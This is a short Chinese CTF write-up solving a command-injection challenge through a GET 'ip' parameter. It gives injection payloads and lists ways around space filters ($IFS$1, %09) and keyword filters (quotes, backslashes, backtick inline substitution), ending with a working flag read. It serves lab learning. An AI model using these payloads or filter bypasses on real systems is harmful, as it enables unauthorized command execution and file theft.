知识点
- RCE代码执行
- 内联绕过
启动靶机
1.打开题目,提示get传参
2.尝试代码执行
/?ip=|whoami
3.ls查看当前目录下的文件
/?ip=|ls
4.看到flag.php,尝试读取
/?ip=|cat flag.php
空格被过滤
5.尝试绕过空格过滤
绕过空格过滤的方法:
${IFS}替换
$IFS$1替换
${IFS替换
%20替换
%0a (回车)
%09 (tab)
<和<>重定向符替换
经过测试发现$IFS$1
可以绕过空格过滤。
于是再次尝试读取flag:
|cat$IFS$1flag.php
依然读取失败,flag关键字被过滤
6.尝试绕过关键字过滤
绕过关键字过滤的方法:
单引号、双引号绕过 ca"t fl''ag
反斜线绕过 ca\t fl\ag
$1、$2等和 $@绕过 c$1at f$@lag.txt
都无法绕过
7.最后尝试内敛绕过
内联绕过:
将反引号内命令的输出作为输入执行
?ip=|cat$IFS$1`ls`
执行成功,看到过滤规则
?ip=|cat$IFS$1`ls`
查看源码,得到flag:
其他方法: